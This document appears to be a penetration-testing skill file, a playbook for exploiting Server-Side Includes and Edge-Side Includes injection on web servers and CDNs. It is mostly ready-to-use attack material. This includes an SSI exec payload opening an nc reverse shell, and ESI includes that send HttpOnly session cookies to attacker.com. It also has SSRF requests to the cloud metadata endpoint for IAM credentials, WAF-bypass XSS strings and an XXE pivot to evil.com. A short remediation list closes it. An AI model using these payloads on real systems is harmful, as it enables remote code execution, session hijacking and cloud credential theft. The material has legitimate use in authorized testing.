name: exploiting-server-side-includes-esi-injection description: Exploiting Server-Side Includes (SSI) and Edge-Side Includes (ESI) injection where unsanitized input is reflected into content processed by an SSI-enabled web server or an ESI-capable cache/proxy (Squid, Varnish, Fastly, Akamai, nodesi), enabling command execution, file inclusion, SSRF, cookie theft (incl. HttpOnly), and XSS/WAF bypass. Activates when reflected input may be parsed as SSI/ESI directives. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- esi-injection
- ssi-injection
- ssrf
- owasp
- web-security version: '1.0' author: xalgorix license: Apache-2.0
Exploiting SSI / ESI Injection
When to Use
- During authorized tests where a server uses SSI (files
.shtml,.shtm,.stm) or a cache/CDN supports ESI - When reflected input may be parsed as directives before the page is served or cached
- When responses include
Surrogate-Control: content="ESI/1.0"(server uses ESI) — but absence does NOT rule it out - When a reverse proxy / CDN (Squid3, Varnish, Fastly, Akamai ETS, NodeJS esi/nodesi) sits in front of the app
- When you need to bypass HttpOnly cookie flags, XSS filters, or WAFs via include/var directives
Critical: Variants Most Often Missed
ESI capabilities differ per software, so a failed payload on one stack does not mean immune. Probe both reflected and blind. SSI directive form: <!--#directive param="value" -->; ESI form: <esi:...>.
# --- DETECTION ---
# SSI reflected echo
<!--#echo var="DATE_LOCAL" --> # date appears → SSI active
# ESI reflected detection
hell<!--esi-->o # renders "hello" → ESI active
# ESI blind detection (callback to your server)
<esi:include src=http://attacker.com>
<esi:debug/> # Akamai: dumps debug info in response
# --- SSI EXPLOITATION ---
<!--#exec cmd="id" --> # command execution
<!--#exec cmd="mkfifo /tmp/f;nc ATTACKER 4444 0</tmp/f|/bin/bash 1>/tmp/f;rm /tmp/f" -->
<!--#include virtual="/cgi-bin/counter.pl" -->
<!--#include file="secret.txt" -->
<!--#printenv -->
# --- ESI EXPLOITATION ---
# Arbitrary content / XSS include
<esi:include src=http://attacker.com/xss.html>
# SSRF (internal hosts; mind per-software host allowlist)
<esi:include src="http://169.254.169.254/latest/meta-data/"/>
# Cookie theft — bypass HttpOnly by exfiltrating server-side cookie value
<esi:include src=http://attacker.com/?cookie=$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?c=$(HTTP_COOKIE{'JSESSIONID'})" />
# Reflect cookie/XSS into response (engines with Vars support)
<!--esi $(HTTP_COOKIE) -->
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# Add/override response headers (bypass Content-Type to land XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi $add_header('Location','http://attacker.com') -->
# Private local file include (NOT classic LFI)
<esi:include src="supersecret.txt">
# --- WAF / XSS-FILTER BYPASS via <!--esi--> splitting ---
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(1);</s<esi:vars name="$(var1)"/>>
# --- ESI + XSLT → XXE (Akamai dca="xslt") ---
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
ESI capability matrix (from GoSecure) — decides which attacks work:
| Software | Includes | Vars | Cookies | Upstream Hdr Required | Host Allowlist |
|---|---|---|---|---|---|
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ETS | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
How to CONFIRM a hit (avoid false negatives)
- SSI:
<!--#echo var="DATE_LOCAL" -->returns a real date;<!--#exec cmd="id" -->returnsuid=.... - ESI reflected:
hell<!--esi-->orenders ashello(the comment is consumed by the ESI engine). - ESI blind:
<esi:include src=http://COLLAB/>produces an inbound HTTP request to your server — confirms include even with no reflection. - Cookie theft: your collaborator log shows the victim/server cookie value in the query string (works even for HttpOnly cookies because the edge engine reads them server-side).
- SSRF:
<esi:include>to an internal host returns internal content or a timing/connect difference; mind host allowlists (Varnish/Fastly). - Try BOTH SSI and ESI forms — a server without the
Surrogate-Controlheader may still process ESI.
Workflow
Step 1: Detect SSI/ESI
# Look for ESI surrogate header
curl -sI "https://target/page" | grep -i Surrogate-Control
# Reflected probes
curl -s "https://target/p?q=hell<!--esi-->o" # → hello = ESI
curl -s "https://target/p?q=<!--#echo var=\"DATE_LOCAL\" -->" # → date = SSI
# Blind probe with OOB
curl -s "https://target/p?q=<esi:include src=http://COLLAB/>"
Step 2: Exploit
# SSI command execution / reverse shell
curl -s "https://target/p?q=<!--#exec cmd=\"id\" -->"
# ESI HttpOnly cookie exfiltration
curl -s "https://target/p?q=<esi:include src=http://COLLAB/?c=\$(HTTP_COOKIE)>"
# ESI SSRF to cloud metadata
curl -s "https://target/p?q=<esi:include src=http://169.254.169.254/latest/meta-data/>"
# WAF bypass XSS
curl -s "https://target/p?q=<scr<!--esi-->ipt>alert(1)</scr<!--esi-->ipt>"
Step 3: Escalate / Impact
# Add headers in a forced include (smuggle headers / spoof Host)
<esi:include src="http://example.com/x">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
# Akamai: pivot ESI → XSLT → XXE for file read / SSRF
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl"/>
XSLT file used by the dca="xslt" pivot:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file">]>
<foo>&xxe;</foo>
Key Concepts
| Concept | Description |
|---|---|
| SSI | <!--#directive --> evaluated by the web server (Apache/IIS) at serve time |
| ESI | <esi:...> evaluated by an edge cache/proxy to assemble dynamic fragments |
Surrogate-Control: content="ESI/1.0" |
Indicates ESI; absence does not guarantee safety |
| Vars support | Engines with Vars allow $(HTTP_COOKIE) reflection & XSS-filter bypass |
| Host allowlist | Varnish/Fastly restrict include targets, limiting SSRF |
<!--esi--> splitting |
Comment consumed by engine, splitting tokens to bypass WAFs |
| dca="xslt" | Akamai ESI option enabling XSLT → XXE chaining |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | Inject SSI/ESI directives, observe reflection & cache behavior |
| Collaborator / interactsh | Confirm blind <esi:include> and cookie exfiltration |
| curl | Manual detection/exploitation probes |
| Auto_Wordlists/ssi_esi.txt | SSI/ESI payload list |
| Akamai ETS / nodesi (local) | Reproduce engine-specific behavior |
Common Scenarios
Scenario 1: SSI Command Execution
A .shtml page reflects a parameter. <!--#exec cmd="id" --> returns uid=33(www-data), and a mkfifo/nc payload yields a reverse shell.
Scenario 2: ESI HttpOnly Cookie Theft
A CDN (Akamai/Squid) processes ESI and exposes cookies. <esi:include src=http://attacker/?c=$(HTTP_COOKIE)> ships the victim's session cookie to the attacker even though it is HttpOnly.
Scenario 3: ESI SSRF to Cloud Metadata
The edge has no host allowlist. <esi:include src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> returns cloud IAM credentials assembled into the cached response.
Output Format
## SSI / ESI Injection Finding
**Vulnerability**: Server-Side Includes / Edge-Side Includes Injection
**Severity**: High to Critical (CVSS 8.1–9.8 for RCE/SSRF/cookie theft)
**Location**: GET /page?q=<SSI/ESI payload>
**OWASP Category**: A03:2021 - Injection (A10 SSRF when applicable)
### Reproduction Steps
1. Detect: q=hell<!--esi-->o renders "hello" (ESI active).
2. Confirm blind: q=<esi:include src=http://COLLAB/> → inbound request received.
3. Exploit: q=<esi:include src=http://COLLAB/?c=$(HTTP_COOKIE)> → session cookie exfiltrated.
### Evidence
| Payload | Result | Capability |
|---------|--------|-----------|
| hell<!--esi-->o | hello | ESI engine present |
| <esi:include src=http://COLLAB> | callback | Blind include / SSRF |
| ?c=$(HTTP_COOKIE) | cookie in log | HttpOnly cookie theft |
| <!--#exec cmd="id"--> | uid=... | SSI RCE |
### Impact
Remote command execution (SSI), SSRF to internal/cloud-metadata services, theft of HttpOnly session cookies, XSS/WAF bypass, and XXE via ESI→XSLT chaining.
### Recommendation
1. Disable SSI (`Options -Includes`) and ESI processing where not required.
2. HTML-encode all reflected input so `<!--#`, `<esi:`, and `<!--esi-->` cannot be parsed as directives.
3. Enforce strict ESI host allowlists and require upstream Surrogate-Control headers.
4. Never allow user input to reach cached fragments unescaped; segment trust between app and edge.